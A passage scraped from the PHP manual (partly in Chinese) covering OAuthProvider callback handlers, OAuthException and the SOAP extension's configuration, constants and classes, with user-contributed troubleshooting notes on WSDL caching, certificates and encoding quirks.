设置时间戳 nonce 句柄回调函数，此函数将在后面被 OAuthProvider::callTimestampNonceHandler() 调用。跟时间戳/nonce相关的错误将被抛给此回调函数。

Warning

本函数还未编写文档，仅有参数列表。

参数

callback_function

回调类型 的函数名。

返回值

没有返回值。

示例

Example #1 OAuthProvider::timestampNonceHandler() 回调的例子

<?php
function timestampNonceChecker($provider) {

if ($provider->nonce === 'bad') {
return OAUTH_BAD_NONCE;
} elseif ($provider->timestamp == '0') {
return OAUTH_BAD_TIMESTAMP;
}

return OAUTH_OK;
}
?>

参见

  • OAuthProvider::callTimestampNonceHandler() - 调用 timestampNonceHandler 回调函数

User Contributed Notes

There are no user contributed notes for this page.


设置 tokenHandler 句柄回调函数

  • ? OAuthProvider::timestampNonceHandler
  • OAuthException ?
  • PHP Manual
  • OAuthProvider
  • 设置 tokenHandler 句柄回调函数

OAuthProvider::tokenHandler

(PECL OAuth >= 1.0.0)

OAuthProvider::tokenHandler — 设置 tokenHandler 句柄回调函数

说明

public OAuthProvider::tokenHandler(callable $callback_function): void

设置令牌句柄的回调函数，此回调函数将在后面被 OAuthProvider::callTokenHandler() 调用。

Warning

本函数还未编写文档，仅有参数列表。

参数

callback_function

回调类型 的函数名。

返回值

没有返回值。

示例

Example #1 OAuthProvider::tokenHandler() 回调的例子

<?php
function tokenHandler($provider) {

if ($provider->token === 'rejected') {
return OAUTH_TOKEN_REJECTED;
} elseif ($provider->token === 'revoked') {
return OAUTH_TOKEN_REVOKED;
}

$provider->token_secret = "the_tokens_secret";
return OAUTH_OK;
}
?>

参见

  • OAuthProvider::callTokenHandler() - 调用 tokenNonceHandler 回调函数

User Contributed Notes

There are no user contributed notes for this page.


OAuthException 类

(PECL OAuth >= 0.99.1)

简介

当使用 OAuth 扩展发生异常错误时，抛出此异常和包含了一些有用的调试信息。

类摘要

class OAuthException extends Exception {
/* 属性 */
public $lastResponse;
public $debugInfo;
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

属性

lastResponse

发生异常时的响应，如果有的话

debugInfo

User Contributed Notes

There are no user contributed notes for this page.


SOAP

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • SOAP 函数
    • is_soap_fault — Checks if a SOAP call has failed
    • use_soap_error_handler — Set whether to use the SOAP error handler
  • SoapClient — The SoapClient class
    • SoapClient::__call — Calls a SOAP function (deprecated)
    • SoapClient::__construct — SoapClient constructor
    • SoapClient::__doRequest — Performs a SOAP request
    • SoapClient::__getCookies — Get list of cookies
    • SoapClient::__getFunctions — Returns list of available SOAP functions
    • SoapClient::__getLastRequest — Returns last SOAP request
    • SoapClient::__getLastRequestHeaders — Returns the SOAP headers from the last request
    • SoapClient::__getLastResponse — Returns last SOAP response
    • SoapClient::__getLastResponseHeaders — Returns the SOAP headers from the last response
    • SoapClient::__getTypes — Returns a list of SOAP types
    • SoapClient::__setCookie — Defines a cookie for SOAP requests
    • SoapClient::__setLocation — Sets the location of the Web service to use
    • SoapClient::__setSoapHeaders — Sets SOAP headers for subsequent calls
    • SoapClient::__soapCall — Calls a SOAP function
  • SoapServer — The SoapServer class
    • SoapServer::addFunction — 添加一个或多个函数来处理 SOAP 请求
    • SoapServer::addSoapHeader — Add a SOAP header to the response
    • SoapServer::__construct — SoapServer constructor
    • SoapServer::fault — Issue SoapServer fault indicating an error
    • SoapServer::getFunctions — Returns list of defined functions
    • SoapServer::handle — Handles a SOAP request
    • SoapServer::setClass — Sets the class which handles SOAP requests
    • SoapServer::setObject — Sets the object which will be used to handle SOAP requests
    • SoapServer::setPersistence — Sets SoapServer persistence mode
  • SoapFault — The SoapFault class
    • SoapFault::__construct — SoapFault constructor
    • SoapFault::__toString — Obtain a string representation of a SoapFault
  • SoapHeader — The SoapHeader class
    • SoapHeader::__construct — SoapHeader constructor
  • SoapParam — The SoapParam class
    • SoapParam::__construct — SoapParam constructor
  • SoapVar — The SoapVar class
    • SoapVar::__construct — SoapVar constructor

User Contributed Notes

Luke 08-Sep-2015 07:21
Was calling an asmx method like $success=$x->AuthenticateUser($userName,$password) and this was returning me an error.

However i changed it and added the userName and password in an array and its now KAWA...
spectrumcat at gmail dot com 22-Feb-2015 04:19
In case you'll get a .p12 certificate for your SOAP client to use (or any other actually) make sure to convert it to PEM and merge with the private key.

Convert p12 to PEM with merged private key:
openssl pkcs12 -in supplied_cert.p12 -out php_soap_cert.pem -clcerts

Example:
$wsdl = "./mywsdl.wsdl"; // Or "http://provider.com/api/api.wsdl"

$options = [
        'location'      => "http://provider.com/api/",
        'local_cert'    => "./php_soap_cert.pem",
        'passphrase'    => "certificate_password",
];

try {
    $soapClient = new SoapClient($wsdl, $options);
} catch(Exception $e) {
    var_dump($e);
}
rafinskipg at gmail dot com 14-May-2012 02:54
Support for MTOM addign this code to your project:

<?php
class MySoapClient extends SoapClient
{
    public function __doRequest($request, $location, $action, $version, $one_way = 0)
    {
        $response = parent::__doRequest($request, $location, $action, $version, $one_way);
        // parse $response, extract the multipart messages and so on

        //this part removes stuff
        $start=strpos($response,'<?xml');
        $end=strrpos($response,'>');
        $response_string=substr($response,$start,$end-$start+1);
        return($response_string);
    }
}

?>

Then you can do this
<?php
  new MySoapClient($wsdl_url);
?>
dennis at pleasedontspam dot clansman dot nl 02-Dec-2011 03:53
When you receive the soapfault message: "looks like we got no XML document" it might be that you're talking to a server that supports MTOM (http://www.w3.org/TR/soap12-mtom/).

MTOM is, as of yet (5.3.6), not supported by the SoapClient.
mariamr at gmail dot com 16-Oct-2010 06:38
"SOAP-ERROR: Parsing WSDL: Couldn't find in 'PATH/TO/YOUR/WSDL'"

This error occurs because some versions of PHP SOAP client  do not send the user name and password that you pass as the options input parameter of the SoapClient constructor  . Yu need to pass the credentials in the web service URL like this:
$soapClient =new SoapClient("http://user:password@example.com/blahblah.wsdl");
vishal dot thakkar at exateam dot com 22-Feb-2010 06:19
I was trying to figure out for days and days to make SOAP server return an associative array and NOT an object ....

To get an array (not object) in the SOAP response, just serialize the array before returning it to the clent..

hope it helps...
Thanks.....
Vishal Thakkar.
stephenlansell at gmail dot com 03-Feb-2010 07:19
Here is an example of a php client talking to a asmx server:

<?php

        $soapClient = new SoapClient("https://soapserver.example.com/blahblah.asmx?wsdl");

        // Prepare SoapHeader parameters
        $sh_param = array(
                    'Username'    =>    'username',
                    'Password'    =>    'password');
        $headers = new SoapHeader('http://soapserver.example.com/webservices', 'UserCredentials', $sh_param);

        // Prepare Soap Client
        $soapClient->__setSoapHeaders(array($headers));

        // Setup the RemoteFunction parameters
        $ap_param = array(
                    'amount'     =>    $irow['total_price']);

        // Call RemoteFunction ()
        $error = 0;
        try {
            $info = $soapClient->__call("RemoteFunction", array($ap_param));
        } catch (SoapFault $fault) {
            $error = 1;
            print("
            alert('Sorry, blah returned the following ERROR: ".$fault->faultcode."-".$fault->faultstring.". We will now take you back to our home page.');
            window.location = 'main.php';
            ");
        }

        if ($error == 0) {
            $auth_num = $info->RemoteFunctionResult;

            if ($auth_num < 0) {
                ....

                // Setup the OtherRemoteFunction() parameters
                $at_param = array(
                            'amount'        => $irow['total_price'],
                            'description'    => $description);

                // Call OtherRemoteFunction()
                $trans = $soapClient->__call("OtherRemoteFunction", array($at_param));
                $trans_result = $trans->OtherRemoteFunctionResult;
            ....
                } else {
                    // Record the transaction error in the database

                // Kill the link to Soap
                unset($soapClient);
            }
        }
    }
}

?>
moazzam at moazzam-khan dot com 05-Oct-2009 09:37
If anyone is trying to use this for accessing Sabre's web services, it won't work. Sabre checks the request header "Content-Type" to see if it is "text/xml" . If it is not text/xml then it sends an error back.

You will need to create a socket connection and use that to send the request over.
Raphal Gertz 18-Apr-2009 09:50
Juste a note to avoid wasting time on php-soap protocol and format support.

Until php 5.2.9 (at least) the soap extension is only capable of understanding wsdl 1.0 and 1.1 format.

The wsdl 2.0, a W3C recommendation since june 2007, ISN'T supported in php soap extension.
(the soap/php_sdl.c source code don't handle wsdl2.0 format)

The wsdl 2.0 is juste the 1.2 version renamed because it has substantial differences from WSDL 1.1.

The differences between the two format may not be invisible if you don't care a lot.

The wsdl 1.0 format structure (see http://www.w3.org/TR/wsdl) :
<definitions ...>
    <types ...>
    </types>
    <message ...>
        <part ...>
    </message>
    <portType ...>
        <operation ...>
            <input ... />
            <output ... />
            <fault ... />
        </operation>
    </portType>
    <binding ...>
        <operation ...>
            <input ... />
            <output ... />
            <fault ... />
        </operation>
    </binding>
    <service ...>
        <port ...>
    </service>
</definitions>

And the wsdl 2.0 format structure (see http://www.w3.org/TR/wsdl20/) :
<description ...>
    <types ...>
    </types>
    <interface ...>
        <fault ... />
        <operation ...>
            <input ... />
            <output ... />
            <fault ... />
        </operation>
    </interface>
    <binding ...>
        <fault ... />
        <operation ...>
            <input ... />
            <output ... />
            <fault ... />
        </operation>
    </binding>
    <service ...>
        <endpoint ...>
    </service>
</description>

The typical error message if you provide a wsdl 2.0 format file :
PHP Fatal error:  SOAP-ERROR: Parsing WSDL: Couldn't find <definitions> in 'wsdl/example.wsdl' in /path/client.php on line 9
jeff at jeffrodriguez dot com 03-Feb-2009 01:37
Named parameters are actually super easy once you know how to do it. No need to bother with SoapParam or SoapVar for the most part.

The code:
<?php
$ws->getAsset(array(
  'assetId' => 5967
));
?>

Generates the following SOAP body: (formatted for readability)
<SOAP-ENV:Body>
  <ns1:getAsset>
    <assetId>5967</assetId>
  </ns1:getAsset>
</SOAP-ENV:Body>
beau dot scott at gmail dot com 22-Oct-2008 03:34
If you've been trying to send null to a service that considers empty property tags as empty strings rather than null, here's an extending class that fixes this using xsi:nil:

<?php
class XSoapClient extends SoapClient
{
    const XSI_NS = "http://www.w3.org/2001/XMLSchema-instance";
    const _NULL_ = "xxx_replacedduetobrokephpsoapclient_xxx";

    protected $mustParseNulls = false;

    public function __doRequest($request, $location, $action, $version, $one_way = null)
    {
        if($this->mustParseNulls)
        {
            $this->mustParseNulls = false;
            $request = preg_replace('/<ns1:(\w+)>'.self::_NULL_.'<\/ns1:\\1>/',
                        '<ns1:$1 xsi:nil="true"/>',
                        $request, -1, &$count);

            if ($count > 0)
            {
                $request = preg_replace('/(<SOAP-ENV:Envelope )/',
                    '\\1 xmlns:xsi="'.self::XSI_NS.'" ',
                    $request);
            }
        }
        return parent::__doRequest($request, $location, $action, $version, $one_way);
    }

    public function __call($method, $params)
    {
        foreach($params as $k => $v)
        {
            if($v === null)
            {
                $this->mustParseNulls = true;
                $params[$k] = self::_NULL_;
            }
        }
        return parent::__call($method, $params);
    }
}
?>
Ryan 22-Oct-2008 06:21
If you are having an issue where SOAP cannot find the functions that are actually there if you view the wsdl file, it's because PHP is caching the wsdl file (for a day at a time). To turn this off, have this line on every script that uses SOAP: ini_set("soap.wsdl_cache_enabled", "0"); to disable the caching feature.
ivan dot cubillas at xeridia dot com 08-Aug-2008 01:02
The problem with the PHP WebService Client

We've a JAVA WebService Server which could have attached documents. When the PHP Client send the dates, the Server take it correctly, but when
the server return it to the PHP Client, the client reply always that is not a XML valid document.

The problem could be than the JAVA Server adds (to this type of XML binary files)  the documentType head: xml+xop and the clean doesn't understand
this head as a XML document.

There is some possibility to solve this problem in the PHP Client without doing changes in the JAVA Server?
aeg at mallxs dot nl 28-May-2008 05:19
SoapFault exception: [SOAP-ENV:Client] looks like we got no XML document

This error can have to reasons:
1: Your server script has some hidden output like spaces before or afher <?php ... ?> or echoing some text
2: You have a bug in your server script;
    resulting in a error message output

Test your server script by calling it direct  from the browser.
The result should be a clean output like :

?<SOAP-ENV:Envelope>
?<SOAP-ENV:Body>
?<SOAP-ENV:Fault>
  <faultcode>SOAP-ENV:Server</faultcode>
  <faultstring>Bad Request. Can't find HTTP_RAW_POST_DATA</faultstring>
</SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

This tell's you there was a request but without data; This is OK
Now if you get the error when calling with your soap client;
remember that your server now will call other functions in the server.php script because it now has some data to process
nodkz at mail dot ru 24-May-2008 02:25
PROBLEM (with SOAP extension under PHP5) of transferring object, that contains objects or array of objects. Nested object would not transfer.

SOLUTION:
This class was developed by trial and error by me. So this 23 lines of code for most developers writing under PHP5 solves fate of using SOAP extension.

<?php
/*
According to specific of organization process of SOAP class in PHP5, we must wrap up complex objects in SoapVar class. Otherwise objects would not be encoded properly and could not be loaded on remote SOAP handler.

Function "getAsSoap" call for encoding object for transmission. After encoding it can be properly transmitted.
*/
abstract class SOAPable {
    public function getAsSOAP() {
        foreach($this as $key=>&$value) {
            $this->prepareSOAPrecursive($this->$key);
        }
        return $this;
    }

    private function prepareSOAPrecursive(&$element) {
        if(is_array($element)) {
            foreach($element as $key=>&$val) {
                $this->prepareSOAPrecursive($val);
            }
            $element=new SoapVar($element,SOAP_ENC_ARRAY);
        }elseif(is_object($element)) {
            if($element instanceof SOAPable) {
                $element->getAsSOAP();
            }
            $element=new SoapVar($element,SOAP_ENC_OBJECT);
        }
    }
}

// ------------------------------------------
//  ABSTRACT EXAMPLE
// ------------------------------------------

class PersonList extends SOAPable {
  protected $ArrayOfPerson; // variable MUST be protected or public!
}

class Person extends SOAPable {
   //any data
}

$client=new SoapClient("test.wsdl", array( 'soap_version'=>SOAP_1_2, 'trace'=>1, 'classmap' => array('Person' => "Person", 'PersonList' => "PersonList")  ));

$PersonList=new PersonList;

// some actions

$PersonList->getAsSOAP();

$client->someMethod($PersonList);

?>

So every class, which will transfer via SOAP, must be extends from class SOAPable.
As you can see, in code above, function prepareSOAPrecursive search another nested objects in parent object or in arrays, and if does it, tries call function getAsSOAP() for preparation of nested objects, after that simply wrap up via SoapVar class.

So in code before transmitting simply call $obj->getAsSOAP()


简介

SOAP 扩展可用于编写 SOAP 服务器端和客户端。支持 » SOAP 1.1、 » SOAP 1.2 和 » WSDL 1.1 规范的子集。

User Contributed Notes

There are no user contributed notes for this page.


需求

此扩展需要 libxml PHP 扩展。这意味着需要传递 --with-libxml，或在 PHP 7.4 之前的版本中传递 --enable-libxml， 尽管这将默默完成因为 libxml 是默认开启的。

User Contributed Notes

There are no user contributed notes for this page.


安装

To enable SOAP support, configure PHP with --enable-soap.

User Contributed Notes

c at cinqs dot net 16-Feb-2017 07:55
If you received a

    E: Couldn't find any package by regex 'php7.1-soap'

when using docker php:apache image

try

    apt-get install php-soap

instead
dbagnara 20-Aug-2016 10:02
for Ubuntu 16.04 LTS
sudo apt-get install php7.0-soap
sudo systemctl restart apache2.service


运行时配置

这些函数的行为受 php.ini 中的设置影响。

SOAP 配置选项
名字 | 默认 | 可修改范围 | 更新日志
soap.wsdl_cache_enabled | 1 | PHP_INI_ALL |
soap.wsdl_cache_dir | /tmp | PHP_INI_ALL |
soap.wsdl_cache_ttl | 86400 | PHP_INI_ALL |
soap.wsdl_cache | 1 | PHP_INI_ALL |
soap.wsdl_cache_limit | 5 | PHP_INI_ALL |

这是配置指令的简短说明。

soap.wsdl_cache_enabled int

Enables or disables the WSDL caching feature.

soap.wsdl_cache_dir string

Sets the directory name where the SOAP extension will put cache files.

soap.wsdl_cache_ttl int

Sets the number of seconds (time to live) that cached files will be used instead of the originals.

soap.wsdl_cache int

If soap.wsdl_cache_enabled is on, this setting determines the type of caching. It can be any of: WSDL_CACHE_NONE (0), WSDL_CACHE_DISK (1), WSDL_CACHE_MEMORY (2) or WSDL_CACHE_BOTH (3). This can also be set via the options array in the SoapClient or SoapServer constructor.

soap.wsdl_cache_limit int

Maximum number of in-memory cached WSDL files. Adding further files into a full memory cache will delete the oldest files from it.

User Contributed Notes

michal-ok at o2 dot pl 06-Mar-2020 03:08
Be aware that wsdl cache may not be compatible across different PHP versions, which may be important to know when you upgrade your PHP on the same system or use a multi-PHP version setup where you run the same scripts from different PHP versions. In other words, when a SOAP request writes a file to the cache and then you make another SOAP request from another PHP version and this cache file is used then *sometimes* you may experience unexpected errors that you will not know where they come from.

I spent hours trying to figure out why I was getting "Encoding: Violation of encoding rules" errors every time I ran some of my SOAP scripts from PHP 7.3 just hours after switching from PHP 7.2. It turned out I needed to clear all cached wsdl files created by PHP 7.2. Downgrading from 7.3 to 7.2 caused the same errors and required clearing the cache, too.

When transitioning to a new PHP version you may turn off the cache or set a very short wsdl_cache_ttl period - if you can't delete the files yourself. If you need your scripts to run on multiple PHP versions with wsdl cache then you'd need to set wsdl_cache_dir that is different for each PHP version.
no dot tehwan dot spam at com dot nospam dot gmail 20-Aug-2014 08:05
Keep in mind if you have memory cache enabled that even if you use an updated WSDL file, it will still be using the one in memory. If you download the WSDL files yourself, avoid using memory cache as you will have no control over it, or set the TTL to a small value (default is 1 day).
martijn at netexpo dot nl 19-Oct-2012 01:37
Please note that these three ini settings will also affect the behaviour of your soap server (and clients as well) :

1. default_socket_timeout default 60 secs
Large or slow requests to your soap server or long processes at your soap server will return soap fault after 60 secs like : Error Fetching http headers.

2. max_execution_time default 30 secs
This can be the next bottleneck (but only when your default_socket_timeout is larger then this setting). Your soap server will not return anything, no faults no output, just an empty string.

3. memory_limit default 128M
Will throw fatal errors when the soap server script itself has low memory or will let your services return empty strings when the data it processes puts memory usage over this limit.

Other max POST settings luckily (but a bit suprisingly to me) have _no_ effect for your soap server. Those are :

max_input_time
max_input_nesting_level
max_input_vars
post_max_size
suhosin.post.max_array_depth
suhosin.post.max_array_index_length
suhosin.post.max_name_length
suhosin.post.max_totalname_length
suhosin.post.max_vars
suhosin.post.max_value_length
hpralow at users dot sf dot net 24-Jul-2008 07:40
If you want to dissable WSDL-caching, you can do so with
<?php
ini_set('soap.wsdl_cache_enabled', '0');
ini_set('soap.wsdl_cache_ttl', '0');
?>
However you must do this before creating a SOAP object (soap_client or soap_server).
Changing the settings like above does not have any effect on already existing soap-objects.

[EDIT BY danbrown AT php DOT net: Typofix provided by (james AT voodoo DOT co DOT uk) on 4-FEB-09.]


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

SOAP constants
Constant | Value | Description
SOAP_1_1 (int) | 1 | Specifies use of SOAP 1.1 when passed as soap_version option to SoapServer::__construct() or SoapClient::__construct().
SOAP_1_2 (int) | 2 | Specifies use of SOAP 1.2 when passed as soap_version option to SoapServer::__construct() or SoapClient::__construct().
SOAP_PERSISTENCE_SESSION (int) | 1 |
SOAP_PERSISTENCE_REQUEST (int) | 2 |
SOAP_FUNCTIONS_ALL (int) | 999 |
SOAP_ENCODED (int) | 1 | Specifies use of SOAP Encoding when passed as use option to SoapClient::__construct().
SOAP_LITERAL (int) | 2 | Specifies use of service-specific encoding when passed as use option to SoapClient::__construct().
SOAP_RPC (int) | 1 | Specifies use of RPC-style binding when passed as style option to SoapClient::__construct().
SOAP_DOCUMENT (int) | 2 | Specifies use of document binding when passed as style option to SoapClient::__construct().
SOAP_ACTOR_NEXT (int) | 1 |
SOAP_ACTOR_NONE (int) | 2 |
SOAP_ACTOR_UNLIMATERECEIVER (int) | 3 |
SOAP_COMPRESSION_ACCEPT (int) | 32 | Specifies use of an "Accept-Encoding" header when passed as part of the compression option to SoapClient::__construct().
SOAP_COMPRESSION_GZIP (int) | 0 | Specifies use of gzip compression when passed as part of the compression option to SoapClient::__construct().
SOAP_COMPRESSION_DEFLATE (int) | 16 | Specifies use of deflate compression when passed as part of the compression option to SoapClient::__construct().
SOAP_AUTHENTICATION_BASIC (int) | 0 | Specifies use of HTTP Basic Authentication when passed as authentication option to SoapClient::__construct().
SOAP_AUTHENTICATION_DIGEST (int) | 1 | Specifies use of HTTP Digest Authentication when passed as authentication option to SoapClient::__construct().
SOAP_SSL_METHOD_TLS (int) | 0 | Used with the deprecated ssl_method option to SoapClient::__construct().
SOAP_SSL_METHOD_SSLv2 (int) | 1 | Used with the deprecated ssl_method option to SoapClient::__construct().
SOAP_SSL_METHOD_SSLv3 (int) | 2 | Used with the deprecated ssl_method option to SoapClient::__construct().
SOAP_SSL_METHOD_SSLv23 (int) | 3 | Used with the deprecated ssl_method option to SoapClient::__construct().
UNKNOWN_TYPE (int) | 999998 |
XSD_STRING (int) | 101 |
XSD_BOOLEAN (int) | 102 |
XSD_DECIMAL (int) | 103 |
XSD_FLOAT (int) | 104 |
XSD_DOUBLE (int) | 105 |
XSD_DURATION (int) | 106 |
XSD_DATETIME (int) | 107 |
XSD_TIME (int) | 108 |
XSD_DATE (int) | 109 |
XSD_GYEARMONTH (int) | 110 |
XSD_GYEAR (int) | 111 |
XSD_GMONTHDAY (int) | 112 |
XSD_GDAY (int) | 113 |
XSD_GMONTH (int) | 114 |
XSD_HEXBINARY (int) | 115 |
XSD_BASE64BINARY (int) | 116 |
XSD_ANYURI (int) | 117 |
XSD_QNAME (int) | 118 |
XSD_NOTATION (int) | 119 |
XSD_NORMALIZEDSTRING (int) | 120 |
XSD_TOKEN (int) | 121 |
XSD_LANGUAGE (int) | 122 |
XSD_NMTOKEN (int) | 123 |
XSD_NAME (int) | 124 |
XSD_NCNAME (int) | 125 |
XSD_ID (int) | 126 |
XSD_IDREF (int) | 127 |
XSD_IDREFS (int) | 128 |
XSD_ENTITY (int) | 129 |
XSD_ENTITIES (int) | 130 |
XSD_INTEGER (int) | 131 |
XSD_NONPOSITIVEINTEGER (int) | 132 |
XSD_NEGATIVEINTEGER (int) | 133 |
XSD_LONG (int) | 134 |
XSD_INT (int) | 135 |
XSD_SHORT (int) | 136 |
XSD_BYTE (int) | 137 |
XSD_NONNEGATIVEINTEGER (int) | 138 |
XSD_UNSIGNEDLONG (int) | 139 |
XSD_UNSIGNEDINT (int) | 140 |
XSD_UNSIGNEDSHORT (int) | 141 |
XSD_UNSIGNEDBYTE (int) | 142 |
XSD_POSITIVEINTEGER (int) | 143 |
XSD_NMTOKENS (int) | 144 |
XSD_ANYTYPE (int) | 145 |
XSD_ANYXML (int) | 147 |
APACHE_MAP (int) | 200 |
SOAP_ENC_OBJECT (int) | 301 |
SOAP_ENC_ARRAY (int) | 300 |
XSD_1999_TIMEINSTANT (int) | 401 |
XSD_NAMESPACE (string) | http://www.w3.org/2001/XMLSchema |
XSD_1999_NAMESPACE (string) | http://www.w3.org/1999/XMLSchema |
SOAP_SINGLE_ELEMENT_ARRAYS (int) | 1 | Used with the features option to SoapClient::__construct().
SOAP_WAIT_ONE_WAY_CALLS (int) | 2 | Used with the features option to SoapClient::__construct().
SOAP_USE_XSI_ARRAY_TYPE (int) | 4 | Used with the features option to SoapClient::__construct().
WSDL_CACHE_NONE (int) | 0 | Disables the WSDL cache when used in the soap.wsdl_cache configuration option or the wsdl_cache option to SoapClient::__construct() and SoapServer::__construct().
WSDL_CACHE_DISK (int) | 1 | Specifies use of the on-disk WSDL cache only when used in the soap.wsdl_cache configuration option or the wsdl_cache option to SoapClient::__construct() and SoapServer::__construct().
WSDL_CACHE_MEMORY (int) | 2 | Specifies use of the in-memory WSDL cache only when used in the soap.wsdl_cache configuration option or the wsdl_cache option to SoapClient::__construct() and SoapServer::__construct().
WSDL_CACHE_BOTH (int) | 3 | Specifies use of both on-disk and in-memory WSDL caches when used in the soap.wsdl_cache configuration option or the wsdl_cache option to SoapClient::__construct() and SoapServer::__construct().

User Contributed Notes

User 01-Oct-2010 08:56
We are casting the values (float) to simulate the 64-bits long. seem to work fine, of course, the values we are using have no decimal point.


SOAP 函数

Table of Contents

  • is_soap_fault — Checks if a SOAP call has failed
  • use_soap_error_handler — Set whether to use the SOAP error handler

User Contributed Notes

vIceBerg 23-Sep-2008 07:18
I have PHP 5.2.5 on my computer. I get this result:

Array
(
    [0] => stdClass Object
        (
            [Client] => stdClass Object
                (
                    [Nom] => LeNom:00000
                    [Prenom] => LePrenom:00000
                )

        )

My host have 5.1.6, the same call returns this result:
Array
(
    [0] => stdClass Object
        (
            [Client] => Array
                (
                    [0] => stdClass Object
                        (
                            [Nom] => LeNom:00000
                            [Prenom] => LePrenom:00000

                        )

5.2.5 is the good structure.

Take care of the version you're using. It can be a lot of work to change all the code
nodkz at mail dot ru 24-May-2008 02:28
PROBLEM (with SOAP extension under PHP5) of transferring object, that contains objects or array of objects. Nested object would not transfer.

SOLUTION:
This class was developed by trial and error by me. So this 23 lines of code for most developers writing under PHP5 solves fate of using SOAP extension.

<?php
/*
According to specific of organization process of SOAP class in PHP5, we must wrap up complex objects in SoapVar class. Otherwise objects would not be encoded properly and could not be loaded on remote SOAP handler.

Function "getAsSoap" call for encoding object for transmission. After encoding it can be properly transmitted.
*/
abstract class SOAPable {
    public function getAsSOAP() {
        foreach($this as $key=>&$value) {
            $this->prepareSOAPrecursive($this->$key);
        }
        return $this;
    }

    private function prepareSOAPrecursive(&$element) {
        if(is_array($element)) {
            foreach($element as $key=>&$val) {
                $this->prepareSOAPrecursive($val);
            }
            $element=new SoapVar($element,SOAP_ENC_ARRAY);
        }elseif(is_object($element)) {
            if($element instanceof SOAPable) {
                $element->getAsSOAP();
            }
            $element=new SoapVar($element,SOAP_ENC_OBJECT);
        }
    }
}

// ------------------------------------------
//  ABSTRACT EXAMPLE
// ------------------------------------------

class PersonList extends SOAPable {
  protected $ArrayOfPerson; // variable MUST be protected or public!
}

class Person extends SOAPable {
   //any data
}

$client=new SoapClient("test.wsdl", array( 'soap_version'=>SOAP_1_2, 'trace'=>1, 'classmap' => array('Person' => "Person", 'PersonList' => "PersonList")  ));

$PersonList=new PersonList;

// some actions

$PersonList->getAsSOAP();

$client->someMethod($PersonList);

?>

So every class, which will transfer via SOAP, must be extends from class SOAPable.
As you can see, in code above, function prepareSOAPrecursive search another nested objects in parent object or in arrays, and if does it, tries call function getAsSOAP() for preparation of nested objects, after that simply wrap up via SoapVar class.

So in code before transmitting simply call $obj->getAsSOAP()
rlee at melbournechapter dot net 01-May-2008 05:38
Just a note on "DTD not recognised..." faults. Check to make sure your wsdl file contains:

<?xml version ='1.0' encoding ='UTF-8' ?>

Also make sure you use full paths, to your service (in the wsdl, client and server)
...
<wsdlsoap:address location='http://www.mysite.com.au/web_services/myserver.php' />
...
<?php
// SOAP Server
$server = new SoapServer('http://www.mysite.com.au/web_services/hello.wsdl');
...
...
?>

<?php
// SOAP Client
 $client = new SoapClient('http://www.mysite.com.au/web_services/hello.wsdl');
...
...
?>

FYI im no SOAP expert but I hope this helps someone out ;)
Drydenmaker 13-Jan-2008 07:59
Working with a third party service I got: "SOAP-ERROR: Parsing Schema: unexpected <text> in restriction"

Thought it would be worth it to share.  What it is saying is that there is some text in an invalid place.  C# seems to ignore it, and if you are using nusoap it doesn't notice it either.  But what was causing my problem was something like:
<types>
    <schema ...

            <simpleType name="some type">
                <restriction base="xsd:string">
                    <enumeration value="foo"/>;
                </restriction>
            </simpleType>

Note the semicolon (;).  Filter that out and your good.
Dominik 07-Dec-2007 01:31
If you are working
- on localhost
- in WSDL mode
and encounter the following error when you try to connect the soap client with the soap server

Fatal error: Uncaught SoapFault exception: [HTTP] Could not connect to host...

then change "localhost" to "127.0.0.1" in your WSDL file:
<soap:address location='http://127.0.0.1/soap-server.php'/>
AL13N 28-Nov-2007 04:05
this might be helpful, as it took quite some time for me to find this out:

if you're using some .wsdl and there's a sequence that can be there more than once (ie: maxOccurs > 1), you can specify an non-associative array for it if you have more than 1 items OR you could just specify the one item if there is only one:

<?php
'items' => array(
    array(
        'itemId' => 5,
        'name' => 'some name',
    ),
    array(
        'itemId' => 6,
        'name' => 'some other name',
    ),
),
?>

this also works:

<?php
'items' => array(
    'itemId' => 5,
    'name' => 'some name',
),
?>
Anonymous 26-Nov-2007 11:54
when dealing with wsdl and flash soap with php
(not exactly php, but proper wsdl - took me hours to figure it to work properly in flash webservice)

when naming definitions,
don't use "tns:" but use "typens:"

makesure your "definitions/targetNamespace"
is same as your "soap:body" namespace
example: "urn:mynamespace"

makesure your "binding/type" is declared with "typens"

makesure your service/port/binding is set to 'typens:...'

if you did not do it properly, you will end up with
WSDL.UnrecognizedNamespace - in flash
but seems okay in php soapclient...

happy coding :)
hope this help you to save your time on the wsdl :)
james at mercstudio dot com 24-Nov-2007 01:45
If you use wsdl,

makesure you define the input correctly.
if your method does not contain any input parameter,
you got to makesure that you:

 - do not create the message tag for the input..
 - do not put input within porttype / operation
 - do not put input within binding / operation

if not, you will get the error:
[Client] looks like we got no XML

d***, took me several hours figuring that out...
dirk at waferthin dot com 20-Jun-2007 04:31
I hope this will save someone time. When developing and testing your SOAP server, remember to disable WSDL caching in BOTH client and server:

$ini = ini_set("soap.wsdl_cache_enabled", 0);
jochen dot munz at municons dot com 11-Jun-2007 08:56
When encountering an error message like this

[faultstring] => Function ("yourMethod") is not a valid method for this service

although it is present in the WSDL etc., be aware that PHP caches the wsdl locally for better performance. You can disable the caching via php.ini/.htaccess completely or remove the cache file (/tmp/wsdl-.. if you are on Linux) to force regeneration of it.
albert at jool dot nl 27-Mar-2007 02:59
A note for ppl who use certificates with SOAP under a Windows config: it seems to be required to give the full path to the certificate file - and don't prepend 'file://' :

<?php

$wsdl = "test.wsdl";
$local_cert = "c:\htdocs\mycert.pem";
$passphrase = "xyz";

$client = new SoapClient($wsdl, array('local_cert' => $local_cert, 'passphrase' => $passphrase);

?>
kroesjnov at hotmail dot com 09-Feb-2007 07:38
If you dont want to manually maintain the classmap, make sure you use the same names for your PHP object classes and your WSDL complexTypes, and use the following code:

$classmap = array();
$tmpClient = new SoapClient("soapserver.wsdl");

foreach($tmpClient->__getTypes() as $type)
{
    $array = split(" ", $type);
    if($array[0] == "struct" && class_exists($array[1]))
    {
